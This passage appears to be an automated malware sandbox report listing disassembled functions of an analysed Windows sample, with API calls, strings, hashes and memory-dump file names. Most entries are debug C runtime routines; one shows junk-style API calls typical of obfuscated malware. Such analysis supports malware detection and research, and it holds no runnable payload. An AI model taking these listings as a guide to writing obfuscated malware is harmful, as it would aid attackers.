Opcode Fuzzy Hash: e3037532448ff5c5beee0b43455299bca4f79b7b22adf81feae2b14dd71d5c9a
Instruction Fuzzy Hash: DD4160B5E40218BBDB24DF91DD46BDA7375AB48B04F0041AAF309B62C1D6B85AD0CF99

Function 00420889 Relevance: 37.1, APIs: 16, Strings: 5, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00420918
_get_int64_arg.LIBCMTD ref: 00420940
__aullrem.LIBCMT ref: 00420AE5
__aulldiv.LIBCMT ref: 00420B07
_write_multi_char.LIBCMTD ref: 00420C0E
_write_string.LIBCMTD ref: 00420C29
_write_multi_char.LIBCMTD ref: 00420C55
_wctomb_s.LIBCMTD ref: 00420CD2

Strings

_output_s_l, xrefs: 0041FF7E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0041FF49, 0041FF79
("Incorrect format specifier", 0), xrefs: 0041FF3D, 0041FF83
9, xrefs: 00420B18
-, xrefs: 00420BAE

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: 6348e842b9c0e2602f8d5b317d1d6657744166d4408164ac93d06132bcd0a0e4
Instruction ID: 46a14d566ffe028075fe21a19e066210770dacc87cff1837a8bef0c2435a0513
Opcode Fuzzy Hash: 6348e842b9c0e2602f8d5b317d1d6657744166d4408164ac93d06132bcd0a0e4
Instruction Fuzzy Hash: 02F16EB1E052299FDB24CF94DC89BEEB7B1BB44304F5081DAE00967292D7786E80CF59

Function 0042212B Relevance: 35.4, APIs: 16, Strings: 4, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 004221C0
_get_int64_arg.LIBCMTD ref: 004221E8
__aullrem.LIBCMT ref: 00422390
__aulldiv.LIBCMT ref: 004223B2
_write_multi_char.LIBCMTD ref: 004224CB
_write_string.LIBCMTD ref: 004224E6
_write_multi_char.LIBCMTD ref: 00422512
__mbtowc_l.LIBCMTD ref: 00422581

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00421896, 004218C6
("Incorrect format specifier", 0), xrefs: 0042188A, 004218D0
9, xrefs: 004223C3
_woutput_s_l, xrefs: 004218CB

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3455034128-2408376751
Opcode ID: 6f66c747a84db9d581a7bd21306d3eeefda6af296e9488e427aaddeace712172
Instruction ID: d5ecc6f422ddad87228f95d825b4463fb8cdd7334ad353b25555b4067b0b5a1e
Opcode Fuzzy Hash: 6f66c747a84db9d581a7bd21306d3eeefda6af296e9488e427aaddeace712172
Instruction Fuzzy Hash: CAF16AB1E00229EFDB24CF54DD81BAEB7B1BF85304F50419AE509A7241D778AE84CF5A

Function 0041AB04 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

__errno.LIBCMTD ref: 0041AB48
__invalid_parameter.LIBCMTD ref: 0041AB69
__errno.LIBCMTD ref: 0041AB85
__vsnprintf_helper.LIBCMTD ref: 0041ABAB
_memset.LIBCMT ref: 0041AC16
__errno.LIBCMTD ref: 0041AC1E
__errno.LIBCMTD ref: 0041AC28
_memset.LIBCMT ref: 0041ACF3
__errno.LIBCMTD ref: 0041AD48
__invalid_parameter.LIBCMTD ref: 0041AD69
_memset.LIBCMT ref: 0041ADD5

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c, xrefs: 0041AB2D, 0041AB5A, 0041AD2D, 0041AD5A
string != NULL && sizeInBytes > 0, xrefs: 0041AB21, 0041AB64
_vsnprintf_s_l, xrefs: 0041AB5F, 0041AD5F
("Buffer too small", 0), xrefs: 0041AD21, 0041AD64

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __errno$_memset$__invalid_parameter$__vsnprintf_helper
String ID: ("Buffer too small", 0)$_vsnprintf_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c$string != NULL && sizeInBytes > 0
API String ID: 1345965814-3148381236
Opcode ID: f30f5cb17d112fe1538979fe575370a66bf9f697593296e58f740fb49d00e457
Instruction ID: 07023e3b66c18da3f21ef05291c49d6a5c177b0faf42c37cbb5b4678a50c8b98
Opcode Fuzzy Hash: f30f5cb17d112fe1538979fe575370a66bf9f697593296e58f740fb49d00e457
Instruction Fuzzy Hash: 4291B370A01209DFCF10CF68C845BEE7372AB45325F20821AF5256B2D1D778A9E1CF9A

Function 0040BB95 Relevance: 31.8, APIs: 7, Strings: 11, Instructions: 264memoryCOMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0040BBA9
__errno.LIBCMTD ref: 0040BBD4
__CrtIsValidHeapPointer.LIBCMTD ref: 0040BC35
_CheckBytes.LIBCMTD ref: 0040BCE0
_CheckBytes.LIBCMTD ref: 0040BD9A
_memset.LIBCMT ref: 0040BE91
__free_base.LIBCMTD ref: 0040BE9D

Strings

The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 0040BBB9
pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 0040BE5A
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0040BDE3
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 0040BD67
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 0040BE21
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 0040BC9F
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0040BC4D, 0040BCAB, 0040BE66
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0040BD29
tDj, xrefs: 0040BBEB
Client hook free failure., xrefs: 0040BC0C
_CrtIsValidHeapPointer(pUserData), xrefs: 0040BC41

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: BytesCheck$HeapPointerValid__errno__free_base_memset
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ$tDj
API String ID: 2211402958-3417358119
Opcode ID: b2431823a98732f99b0829677bd129e403483d76c294da018bba75e674119802
Instruction ID: db4114cc84fd79e14bd609a793022882274f7115a81a4204b3cb1d9e01795d7e
Opcode Fuzzy Hash: b2431823a98732f99b0829677bd129e403483d76c294da018bba75e674119802
Instruction Fuzzy Hash: 8291CF70A40205ABEB24DB44DD82F6A7366EB48704F344169F604BB3D2D779EE41DADC

Function 004205E7 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 004205EB
__get_printf_count_output.LIBCMTD ref: 004205F9
__errno.LIBCMTD ref: 0042065F
__invalid_parameter.LIBCMTD ref: 00420680
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00420695
_write_multi_char.LIBCMTD ref: 00420C0E
_write_string.LIBCMTD ref: 00420C29
_write_multi_char.LIBCMTD ref: 00420C55
_wctomb_s.LIBCMTD ref: 00420CD2

Strings

_output_s_l, xrefs: 0041FF7E, 00420676
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0041FF49, 0041FF79, 00420641, 00420671
("Incorrect format specifier", 0), xrefs: 0041FF3D, 0041FF83
("'n' format specifier disabled", 0), xrefs: 00420635, 0042067B
-, xrefs: 00420BAE

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___errno__get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 1135781078-2363074782
Opcode ID: 1edf6e59731e009402653690aa4e40e83712f720ffc2a0794ef99a90f4ca2bb7
Instruction ID: 58f379c39ba4fafafc60ca3ba6d7a0e905859ffe0678212f564441eae97901d5
Opcode Fuzzy Hash: 1edf6e59731e009402653690aa4e40e83712f720ffc2a0794ef99a90f4ca2bb7
Instruction Fuzzy Hash: BAA18F70E052298BDF24DF94DC49BEEB7B0AB44304F5481DAE0197A292D778AEC1CF59

Function 00421E8A Relevance: 30.0, APIs: 13, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00421E8E
__get_printf_count_output.LIBCMTD ref: 00421E9C
__errno.LIBCMTD ref: 00421F02
__invalid_parameter.LIBCMTD ref: 00421F23
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00421F38
_write_multi_char.LIBCMTD ref: 004224CB
_write_string.LIBCMTD ref: 004224E6
_write_multi_char.LIBCMTD ref: 00422512
__mbtowc_l.LIBCMTD ref: 00422581

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00421896, 004218C6, 00421EE4, 00421F14
("Incorrect format specifier", 0), xrefs: 0042188A, 004218D0
("'n' format specifier disabled", 0), xrefs: 00421ED8, 00421F1E
_woutput_s_l, xrefs: 004218CB, 00421F19

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___errno__get_printf_count_output__invalid_parameter__mbtowc_l_get_int_arg_write_string
String ID: ("'n' format specifier disabled", 0)$("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3689974179-1989478660
Opcode ID: 37755bc59751d6160fc3068ecdf623c3525afcbf35ad9f4acb4eb1a877e51f0a
Instruction ID: f987f9f541a238badfa83c30532f0306e91997e2e2386daee3e0dd4e63b0105e
Opcode Fuzzy Hash: 37755bc59751d6160fc3068ecdf623c3525afcbf35ad9f4acb4eb1a877e51f0a
Instruction Fuzzy Hash: 7FA1A2B1E00229ABDB24DF44DD81BAEB374AB54304F50819AE6097B291D7BC9EC4CF5D

Function 00409240 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 73timepipethreadCOMMON

Download Yara Rule

APIs

BuildCommDCBAndTimeoutsA.KERNEL32 ref: 0040927C
GetDriveTypeW.KERNEL32(00000000), ref: 00409284
CallNamedPipeW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409298
GetThreadPriority.KERNEL32(00000000), ref: 004092A0
InitAtomTable.KERNEL32(00000000), ref: 004092A8
AddAtomW.KERNEL32(00000000), ref: 004092B0
LoadResource.KERNEL32(00000000,00000000), ref: 004092BA
WriteConsoleInputA.KERNEL32(00000000,00000000,00000000,?), ref: 004092CB
ResetWriteWatch.KERNEL32(00000000,00000000), ref: 004092D5
FindNextVolumeMountPointA.KERNEL32(00000000,?,00000000), ref: 004092E4
CreateTimerQueue.KERNEL32 ref: 004092EA
LocalFree.KERNEL32(00000000), ref: 004092F2
WritePrivateProfileStructW.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00409302
GetCommConfig.KERNEL32(00000000,00000000,00000000), ref: 0040930E

Strings

2HB, xrefs: 0040931B
nuyimedanebilebecusimuyupito, xrefs: 0040926F

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: Write$AtomComm$BuildCallConfigConsoleCreateDriveFindFreeInitInputLoadLocalMountNamedNextPipePointPriorityPrivateProfileQueueResetResourceStructTableThreadTimeoutsTimerTypeVolumeWatch
String ID: 2HB$nuyimedanebilebecusimuyupito
API String ID: 2355481934-2736947661
Opcode ID: 1d76a2f6cfee05649a93982fcabd392f98d0160fb556adb6e69d82ac6124e22a
Instruction ID: b007a9dc5e273063c703bca80fb4e012f0be448b09a04beb6518c3647c6c5a61
Opcode Fuzzy Hash: 1d76a2f6cfee05649a93982fcabd392f98d0160fb556adb6e69d82ac6124e22a
Instruction Fuzzy Hash: B821E075648380AFE390AFA4EE49F597BA0BB48B02F004429F7C9E95F0D7B05544CB2A

Function 00420435 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 225COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00420439
_strlen.LIBCMT ref: 00420469
_write_multi_char.LIBCMTD ref: 00420C0E
_write_string.LIBCMTD ref: 00420C29
_write_multi_char.LIBCMTD ref: 00420C55
_wctomb_s.LIBCMTD ref: 00420CD2

Strings

_output_s_l, xrefs: 0041FF7E
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0041FF49, 0041FF79
("Incorrect format specifier", 0), xrefs: 0041FF3D, 0041FF83
-, xrefs: 00420BAE

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: _write_multi_char$_get_int_arg_strlen_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 2232461714-3257747220
Opcode ID: 2dda6691f446b10363fd332671838a4e0b2e8872d512144f4b66dcd648f59df3
Instruction ID: 5c3dfabf1e897706878de1e9e7c03b82c7f21878d8df5bbdb7feba58c89d2472
Opcode Fuzzy Hash: 2dda6691f446b10363fd332671838a4e0b2e8872d512144f4b66dcd648f59df3
Instruction Fuzzy Hash: 74A18F70E012289FDB24CF94DC49BEEB7B1AB44305F5481DAE0096B292D778AEC0CF59

Function 00421CB4 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 222COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00421CB8
_strlen.LIBCMT ref: 00421CE8
_write_multi_char.LIBCMTD ref: 004224CB
_write_string.LIBCMTD ref: 004224E6
_write_multi_char.LIBCMTD ref: 00422512
__mbtowc_l.LIBCMTD ref: 00422581

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00421896, 004218C6
("Incorrect format specifier", 0), xrefs: 0042188A, 004218D0
_woutput_s_l, xrefs: 004218CB

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 909868375-2264504294
Opcode ID: 51dc5ddf63547ae3273ddfc66d2a562d9cd9d4ebf8409670312dd440aeac7fff
Instruction ID: 9748f82fafc8b871be7ff342f8f56fe0ae137f0c77516aa6b05c2763f969da53
Opcode Fuzzy Hash: 51dc5ddf63547ae3273ddfc66d2a562d9cd9d4ebf8409670312dd440aeac7fff
Instruction Fuzzy Hash: 4AA1A1B1E00228EFDB24DF54DD81BAEB3B4BB44304F50819AE5097B281D778AE84CF59

Function 0040AF67 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 252COMMON

Download Yara Rule

APIs

__CrtCheckMemory.LIBCMTD ref: 0040AF8A
__heap_alloc_base.LIBCMTD ref: 0040B111
_memset.LIBCMT ref: 0040B259
_memset.LIBCMT ref: 0040B276
_memset.LIBCMT ref: 0040B291

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0040AF9F
_CrtCheckMemory(), xrefs: 0040AF93
Client hook allocation failure at file %hs line %d., xrefs: 0040B028
Error: memory allocation: bad memory block type., xrefs: 0040B0E4
Invalid allocation size: %Iu bytes., xrefs: 0040B093
Client hook allocation failure., xrefs: 0040B045

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: _memset$CheckMemory__heap_alloc_base
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Error: memory allocation: bad memory block type.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4254127243-2462871736
Opcode ID: 354bc4dba721f9b94aaa5bc69164ab01680b74c1724cb6ddc9a8980e553e322b
Instruction ID: ce93ad4a25b24ccb073caf636eea6b7e518c4e7a17abddc7d3b4ab2c1b07c6a7
Opcode Fuzzy Hash: 354bc4dba721f9b94aaa5bc69164ab01680b74c1724cb6ddc9a8980e553e322b
Instruction Fuzzy Hash: 1DA15C74A002099BDB14CF48D995BAA77F1EB48304F24827AE9157B3E2D379AD40CF9D

Function 0040CF57 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 81COMMON

Download Yara Rule

APIs

__isctype_l.LIBCMTD ref: 0040CFC5
__errno.LIBCMTD ref: 0040D010
__errno.LIBCMTD ref: 0040D01A
_swprintf_s.LIBCMTD ref: 0040D048
__errno.LIBCMTD ref: 0040D06E
__invoke_watson_if_oneof.LIBCMTD ref: 0040D076
__errno.LIBCMTD ref: 0040D07E

Strings

(*_errno()), xrefs: 0040D065
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0040D05B
%.2X , xrefs: 0040D02A
_printMemBlockData, xrefs: 0040D060

Memory Dump Source

Source File: 00000000.00000002.2035194646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2035174984.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035227928.0000000000428000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035344504.00000000004E1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035390433.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035418504.00000000004ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2035449545.00000000004EE000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.jbxd

Similarity

API ID: __errno$__invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 3084672839-3158630120
Opcode ID: d402fdb53c39bccb214b3b7fc52087cea1027acc2c922009fa66eaa232a09d43
Instruction ID: 08031028338b7622ea72757e36cfc1f29d6046665cdb88d15e8927eb6b0e8e39
Opcode Fuzzy Hash: d402fdb53c39bccb214b3b7fc52087cea1027acc2c922009fa66eaa232a09d43
Instruction Fuzzy Hash: A031A174E04308DFDB08DFA1C991AADB772AF45304F20466AE4197F2C2D7789A45DB58

Function 022F6437 Relevance: 18.1, APIs: 12, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 022F644E

Part of subcall function 022F9636: __calloc_impl.LIBCMT ref: 022F9645

